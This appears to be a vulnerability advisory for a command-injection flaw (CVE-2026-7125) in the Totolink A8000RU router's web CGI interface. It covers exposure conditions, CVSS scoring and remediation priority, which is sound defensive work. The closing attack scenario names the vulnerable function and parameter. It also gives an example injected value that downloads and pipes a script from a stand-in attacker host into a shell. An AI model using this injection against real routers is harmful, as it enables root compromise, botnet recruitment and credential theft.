Totolink A8000RU CVE-2026-7125

Exploitation requires the Totolink A8000RU's web management CGI interface (/cgi-bin/cstecgi.cgi) to be network-reachable by the attacker. No authentication is required (PR:N confirmed by CVSS vector). No user interaction needed (UI:N). Attacks succeed against default router configurations with the web interface enabled on WAN or LAN networks accessible to the attacker. The specific limiting factor is network reachability: routers with WAN management disabled or behind NAT with no port forwarding to the CGI interface are not remotely exploitable, though they remain vulnerable to LAN-side attackers (malicious insiders, compromised IoT devices on the same network, or attackers who have already breached the perimeter). Firmware version 7.1cu.643_b20200521 is confirmed vulnerable; exploitation against other versions is unverified from available data.

Real-world risk is CRITICAL for internet-exposed Totolink A8000RU routers. CVSS 8.9 accurately reflects the severity: network attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and high impact to confidentiality, integrity, and availability (VC:H/VI:H/VA:H). The CVSS E:P (Proof-of-concept exploit available) modifier is confirmed by the GitHub POC repository, lowering the exploitation barrier to script-kiddie level. Scope unchanged (SC:N) means impact is limited to the vulnerable router itself, but successful exploitation grants root-level shell access enabling full device compromise, LAN pivoting, traffic interception, and botnet recruitment. No EPSS score was provided in the input data, but given POC availability, SOHO router attack surface, and remote unauthenticated vector, real-world exploitation probability is moderate to high. NOT currently listed in CISA KEV, suggesting targeted or research-phase exploitation rather than mass scanning campaigns. However, consumer routers with public exploits typically see weaponization within weeks. Priority should be IMMEDIATE for any deployment exposing the CGI interface to untrusted networks.

An attacker scans IPv4 space for Totolink A8000RU devices exposing the web management interface on standard ports (typically TCP 80/8080). Using the publicly available GitHub POC (github.com/Litengzheng/vuldb_new2/blob/main/A8000RU/vul_310/), the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi invoking setWiFiEasyCfg with a malicious 'merge' parameter containing shell commands (e.g., 'merge=legitimate_value;wget http://attacker.com/malware.sh|sh'). The CGI handler executes the injected commands with root privileges, downloading and running attacker-controlled scripts. Within seconds, the router joins a botnet, exfiltrates WAN credentials, or establishes a persistent reverse shell for LAN reconnaissance.